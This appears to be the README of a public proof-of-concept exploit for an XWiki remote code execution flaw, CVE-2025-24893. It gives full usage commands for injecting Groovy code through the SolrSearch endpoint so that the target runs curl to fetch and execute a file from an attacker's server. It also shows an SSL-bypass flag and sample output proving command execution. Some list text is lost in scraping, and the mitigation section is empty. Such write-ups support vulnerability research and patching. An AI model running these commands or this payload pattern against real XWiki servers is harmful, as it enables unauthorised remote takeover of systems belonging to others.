570rmbr3ak3r/xwiki-cve-2025-24893-pocPoC for CVE-2025-24893
This repository contains a Proof of Concept (PoC) exploit for the XWiki Remote Code Execution (RCE) vulnerability identified as CVE-2025-24893. The vulnerability allows an attacker to execute arbitrary code on a target XWiki instance by leveraging a crafted request to the SolrSearch endpoint. This script supports both HTTP and HTTPS targets.
⚠️ Disclaimer: This PoC is intended for educational and research purposes only. Unauthorized use of this code against systems without explicit permission is illegal and unethical. Always obtain proper authorization before testing any system.
The vulnerability arises due to improper handling of user input in the SolrSearch endpoint, allowing the injection of Groovy code via a crafted payload. This PoC demonstrates how an attacker can exploit this to execute arbitrary commands on the target server.
requests, argparse, , , urllib.parserehtmlgit clone https://github.com/570RMBR3AK3R/xwiki-cve-2025-24893-poc.git
pip install requests
The script sends a crafted HTTP/HTTPS request to the target XWiki instance, injecting a Groovy payload that executes a curl command to fetch and run a file from an attacker-controlled server.
Run the script with the following command:
python3 exploit.py --url <target_url> --server <attacker_server> --file <malicious_file> [--no-verify]
--url: The base URL of the target XWiki instance (e.g., http://target or https://target).--server: The IP or hostname of the attacker’s server, including the port if needed (e.g., 192.168.1.100:8080). Supports both HTTP and HTTPS.--file: The name of the file on the attacker’s server containing the code to be executed (e.g., exploit.sh).--no-verify: Optional flag to disable SSL verification for HTTPS targets (use with caution, for testing only).python3 exploit.py --url http(s)://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh
To bypass SSL verification (e.g., for self-signed certificates):
python3 exploit.py --url https://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh --no-verify
This will:
curl command.exploit.sh) from the attacker’s server (http(s)://192.168.1.100:8080).The script extracts the response from the target, removes HTML tags (e.g., <br/>, <del>), and converts HTML entities to plain text for readability. The cleaned output is printed to the console.
python3 exploit.py --url http://<redacted> --server http://<redacted>:8080 --file exploit.sh
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)
To protect against this vulnerability:
This project is licensed under the MIT License. See the LICENSE file for details.